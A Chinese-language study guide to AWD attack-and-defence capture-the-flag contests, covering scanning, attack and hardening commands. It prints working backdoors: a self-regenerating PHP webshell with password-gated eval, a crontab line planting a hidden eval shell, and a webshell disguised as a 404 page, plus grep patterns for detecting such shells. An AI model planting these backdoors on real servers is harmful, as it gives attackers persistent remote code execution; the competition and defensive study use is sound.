AWD比赛入门攻略总结
字数 1418 2025-08-29 08:31:41

AWD比赛完全攻略手册

一、AWD竞赛概述

AWD(Attack With Defense)是一种网络安全竞赛模式,参赛队伍需要在保护自己服务器的同时攻击其他队伍的服务器。

1.1 主要题型

  • WEB类:占比较大,涉及CMS和框架安全漏洞
    • 常见漏洞:注入、上传、反序列化等
    • 主要语言:PHP为主,少量Java、Python
  • PWN类:二进制漏洞利用

1.2 竞赛拓扑

比赛通常分为两个阶段:

  1. 加固环节:统一加固自己的服务器
  2. 攻击环节:攻击其他队伍的服务器获取FLAG

二、赛前准备

2.1 必备工具清单

  • SSH客户端:Xshell、FinalShell、SecureCRT
  • FTP工具:FileZilla、WinSCP
  • 扫描工具
    • Nmap
    • httpscan
    • dirsearch
  • 漏洞利用工具
    • Xray
    • pocsuite3
    • Hydra
  • 自动化框架
    • AWD-Predator-Framework
  • 查杀工具
    • 河马WEBSHELL查杀
    • D盾

三、信息收集

3.1 主机探测

ifconfig  # Linux查看IP
ipconfig  # Windows查看IP
nmap -sn 192.168.0.0/24  # 扫描C段存活主机
httpscan.py 192.168.0.0/24 -t 10  # 替代扫描方式

3.2 端口探测

nmap -sV 192.168.0.2  # 扫描系统版本
nmap -sS 192.168.0.2  # 扫描常用端口
nmap -sS -p 80,445 192.168.0.2  # 扫描指定端口
nmap -sS -p- 192.168.0.2  # 全端口扫描

3.3 应用发现

# 定位关键配置文件
find / -name "nginx.conf"
find / -path "*nginx*" -name nginx*conf
find / -name "httpd.conf"
find / -path "*apache*" -name apache*conf
find / -name "index.php"  # 定位网站目录

# 日志文件位置
/var/log/nginx/  # Nginx日志
/var/log/apache/  # Apache日志
/var/log/apache2/
/usr/local/tomcat/logs  # Tomcat日志
tail -f xxx.log  # 实时查看日志

3.4 备份扫描

四、攻击技术

4.1 端口利用

  • 常见攻击方式
    • 未授权访问
    • 弱口令爆破

工具推荐

字典资源

4.2 WEB服务攻击

  • 已知框架漏洞:使用工具快速扫描利用
  • 自定义框架:分析日志学习其他选手攻击方式

漏洞资料库

检测工具

4.3 权限维持技术

4.3.1 隐藏文件读取

header('flag:'.file_get_contents('/tmp/flag'));

4.3.2 PHP不死马

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);}';
while(1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
}
?>

4.3.3 定时任务写马

system('echo echo \"<?php if(md5($_POST[pass])==\'7b7fdffef464019f7190d0384d5b3838\'){ @eval($_POST[1]); } \" > /var/www/html/.index.php \n * * * * * chmod 777 /var/www/html/.index.php " | crontab;whoami');

4.4 快速得分策略

五、防御技术

5.1 网站备份

# 压缩备份
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

# 解压恢复
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

# 文件传输
scp username@servername:/path/filename /tmp/local_destination  # 下载
scp /path/local_filename username@servername:/path  # 上传

5.2 数据库备份

# MySQL备份
mysqldump -u username -p password databasename > bak.sql  # 单库
mysqldump --all-databases > bak.sql  # 全库

# 恢复
mysql -u username -p password database < bak.sql

5.3 信息搜集防御

netstat -ano/-a  # 查看端口
uname -a  # 系统信息
ps -aux  # 进程信息
cat /etc/passwd  # 用户情况
find / -type d -perm -002  # 可写目录检查
grep -r "flag" /var/www/html/  # 查找FLAG

5.4 口令更改

passwd username  # SSH密码修改
# MySQL密码修改
set password for mycms@localhost = password('123');
# 查找配置文件中的密码
find /var/www/html -path '*config*'

5.5 后门查杀

# 查找可疑文件
find /var/www/html -name *.php -mmin -20  # 最近修改
find ./ -name '*.php' | xargs wc -l | sort -u  # 短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html
find /var/www/html -type f -name "*.php" | xargs grep "eval(" | more

# 不死马查杀
<?php system("kill -9 pid;rm -rf .shell.php"); ?>

# 后门用户查杀
userdel -r username  # 完全删除账户

5.6 关闭进程和端口

ps -aux  # 查看进程
kill -9 pid  # 强制终止

netstat -anp  # 查看端口
firewall-cmd --zone=public --remove-port=80/tcp --permanent  # 关闭端口
firewall-cmd --reload  # 重载防火墙

5.7 漏洞修复原则

  1. 保证服务不长时间宕机
  2. 使用安全过滤函数
  3. 无法修复时先注释或删除相关代码
  4. 保证页面显示正常

修复参考

5.8 文件监控

5.9 WAF部署

常见CMS的WAF添加路径

  • DiscuzX2: \config\config_global.php
  • Wordpress: \wp-config.php
  • Metinfo: \include\head.php
  • PHPCMS V9: \phpcms\base.php
  • PHPWIND8.7: \data\sql_config.php
  • DEDECMS5.7: \data\common.inc.php

WAF脚本参考

六、经典后门示例

6.1 preg_replace伪装的404后门

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php 
@preg_replace("/[pageerror]/e",$_POST['error'],"saft"); 
header('HTTP/1.1 404 Not Found'); 
?>

使用菜刀连接,密码:error

七、总结

AWD比赛考验选手的攻防兼备能力,需要:

  1. 快速信息收集能力
  2. 漏洞利用和修复能力
  3. 自动化脚本编写能力
  4. 团队协作能力

建议平时积累:

  • 常见漏洞的EXP库
  • 自动化脚本库
  • 各种扫描工具库
  • 漏洞修复方案库
AWD比赛完全攻略手册 一、AWD竞赛概述 AWD(Attack With Defense)是一种网络安全竞赛模式,参赛队伍需要在保护自己服务器的同时攻击其他队伍的服务器。 1.1 主要题型 WEB类 :占比较大,涉及CMS和框架安全漏洞 常见漏洞:注入、上传、反序列化等 主要语言:PHP为主,少量Java、Python PWN类 :二进制漏洞利用 1.2 竞赛拓扑 比赛通常分为两个阶段: 加固环节 :统一加固自己的服务器 攻击环节 :攻击其他队伍的服务器获取FLAG 二、赛前准备 2.1 必备工具清单 SSH客户端 :Xshell、FinalShell、SecureCRT FTP工具 :FileZilla、WinSCP 扫描工具 : Nmap httpscan dirsearch 漏洞利用工具 : Xray pocsuite3 Hydra 自动化框架 : AWD-Predator-Framework 查杀工具 : 河马WEBSHELL查杀 D盾 三、信息收集 3.1 主机探测 3.2 端口探测 3.3 应用发现 3.4 备份扫描 自动化扫描工具: ihoneyBakFileScan dirsearch 四、攻击技术 4.1 端口利用 常见攻击方式 : 未授权访问 弱口令爆破 工具推荐 : Hydra SNETCracker DBScanner unauthorized-check 字典资源 : fuzzDicts TheKingOfDuck/fuzzDicts 4.2 WEB服务攻击 已知框架漏洞 :使用工具快速扫描利用 自定义框架 :分析日志学习其他选手攻击方式 漏洞资料库 : vulbase 检测工具 : Xray pocsuite3 gobies 4.3 权限维持技术 4.3.1 隐藏文件读取 4.3.2 PHP不死马 4.3.3 定时任务写马 4.4 快速得分策略 编写Python脚本批量获取FLAG 使用curl工具自动化提交 利用框架: AWD-Predator-Framework 五、防御技术 5.1 网站备份 5.2 数据库备份 5.3 信息搜集防御 5.4 口令更改 5.5 后门查杀 5.6 关闭进程和端口 5.7 漏洞修复原则 保证服务不长时间宕机 使用安全过滤函数 无法修复时先注释或删除相关代码 保证页面显示正常 修复参考 : 常规漏洞修复建议 PHP安全函数 5.8 文件监控 工具: FileMonitor 5.9 WAF部署 常见CMS的WAF添加路径 : DiscuzX2: \config\config_ global.php Wordpress: \wp-config.php Metinfo: \include\head.php PHPCMS V9: \phpcms\base.php PHPWIND8.7: \data\sql_ config.php DEDECMS5.7: \data\common.inc.php WAF脚本参考 : CTF-WAF 六、经典后门示例 6.1 preg_ replace伪装的404后门 使用菜刀连接,密码:error 七、总结 AWD比赛考验选手的攻防兼备能力,需要: 快速信息收集能力 漏洞利用和修复能力 自动化脚本编写能力 团队协作能力 建议平时积累: 常见漏洞的EXP库 自动化脚本库 各种扫描工具库 漏洞修复方案库